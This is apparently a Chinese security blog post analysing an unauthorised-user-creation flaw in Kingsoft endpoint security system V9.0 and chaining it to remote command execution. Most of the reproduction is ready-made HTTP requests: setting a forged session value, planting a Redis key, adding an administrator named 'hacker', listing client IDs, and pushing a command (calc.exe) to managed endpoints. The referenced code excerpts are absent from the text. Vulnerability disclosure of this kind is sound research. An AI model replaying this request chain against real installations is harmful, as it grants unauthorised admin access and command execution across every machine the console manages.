金山终端安全系统 V9.0 任意用户添加导致 RCE
PS:很早之前挖的,漏洞已经被收录了,新版应该没有send_verify2email.php文件了。分享一下挖掘的过程。
下载链接:http://duba-011.duba.net/netversion/Package/SecManage.iso ,可直接搭建(不过应该没有send_verify2email.php文件)
漏洞分析
首先系统的入口点在:inter\ajax.php,该路由可以访问到 inter 目录下的全部 php 文件, 但该文件存在权限校验,示例代码如下:
这里指定了 no_session_inter.php 中设置的文件才能够被未授权访问。在系统默认搭建后,no_session_inter.php 的内容如下:
为了绕过这个权限校验,回到上面的 ajax.php:
如果 no_session_inter.php 文件中没有指定相应的文件名,就会进入 check_sid 函数,该函数的具体代码如下:
这里的逻辑很简单,从 redis 服务器判断是否存在 loginsession$session_id 这个键。如果存在,则验证通过。通过分析 ajax.php 上下文,这里的$session_id 变量是可控的。
接下来要做的就是想办法在 redis 服务器中添加一个键值对。把目光放到 no_session_inter.php 这个文件,在该文件中指定了一些未授权可访问的文件信息,其中有两个文件:checklogin.php 和 send_verify2email.php
首先看看 checklogin.php 这个文件,代码如下:
这里可以设置一些 SESSION 值,然后看看 send_verify2email.php 代码:
这里调用了 set 方法,设置 redis 中的键值对。结合上面的 checklogin.php,$userName 就是可控的,将其设置为 loginsession,这里生成的 key 就变成了 login_session_Email。
这样,redis 服务器中就缓存了这个 key,并且时间设置为 1 分钟。以上就可以绕过 ajax.php 的权限校验,可通过构造数据包访问系统下的所有功能。
漏洞复现
未授权任意添加管理员用户
1、 首先访问 checklogin.php,设置$_SESSION[‘userName’]。(后续的 Cookie 保持不变)
POST /inter/ajax.php?imd=checklogin HTTP/1.1
Host: 192.168.20.131:6868
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://192.168.20.131:6868
Connection: close
Referer: http://192.168.20.131:6868/
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964 Content-Type: application/x-www-form-urlencoded
Content-Length: 20
uname=login_session_
2、 接下来访问 send_verify2email.php 在 redis 中添加一个键值对:(mailTo 符合邮箱格式即可)
POST /inter/ajax.php?imd=send_verify2email HTTP/1.1
Host: 192.168.20.131:6868
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://192.168.20.131:6868
Connection: close
Referer: http://192.168.20.131:6868/
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964 Content-Type: application/x-www-form-urlencoded
Content-Length: 33
mailTo=login_session_@qq.comEmail
3、 上面两个步骤访问完成之后,即可未授权访问系统的所有功能,接下来通过权限校验,添加一个系统管理员,访问 get_user_login_cmd 文件即可。
POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: 192.168.20.131:6868
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
Content-Length: 285
Origin: http://192.168.20.131:6868
Connection: close
Referer: http://192.168.20.131:6868/
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964
{"add_user_info_cmd":{"userSession":"Email","mode_id":"B666A8CD-2247-2CA8-4F7D- 29EB058A27C2","real_name":"","user_name":"hacker","type":" 分 级 管 理 员 ","tel":"","mobile":"","corp":"","notice":"","psw":"92d7ddd2a010c59511dc2905b7e14f64","e mail":"","VHierarchyName":"","orgtype":"1"}}
(userSession 需要设置成 Email,密码为 1qaz@WSX)
可以发现账户添加成功:
auth RCE
通过上面的步骤添加用户之后登陆,发送如下数据包获取 server 端 client_id 值:
POST /inter/ajax.php?cmd=get_old_version_client HTTP/1.1
Host: 172.16.20.31:6868
Content-Length: 116
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.20.31:6868
Referer: http://172.16.20.31:6868/Console.php?m1=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: SCNum=1; GUID=B38F5DCE-FBD1-22A8-0DC7-5C59941EA955; SCIP=172.16.20.31;
topSC=0; kidtype=1; hid=QM00001; sn=105000-011000-000000-000000;
SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964
Connection: close
{"get_hight_path_client":{"key_words":"","current_page":"1","count_page":"10","sort_type":"m
ac","sort_order":"asc"}}
根据 client_id 执行任意命令:
POST /inter/ajax.php?cmd=set_client_notify_cmd HTTP/1.1
Host: 192.168.20.131:6868
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 252
Origin: http://192.168.20.131:6868
Connection: close
Referer: http://192.168.20.131:6868/
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964
{"set_client_notify_cmd":{"userSession":"Email","mode_id":"B666A8CD-2247-2CA8-4F7D29EB058A27C08","host_id":["2674434368"],"timeout":"7","subcmd_name":"send_cmd_code","
subcmd_content":{"path":"C:\\Windows\\System32\\calc.exe","param":"","silent":"0"}}}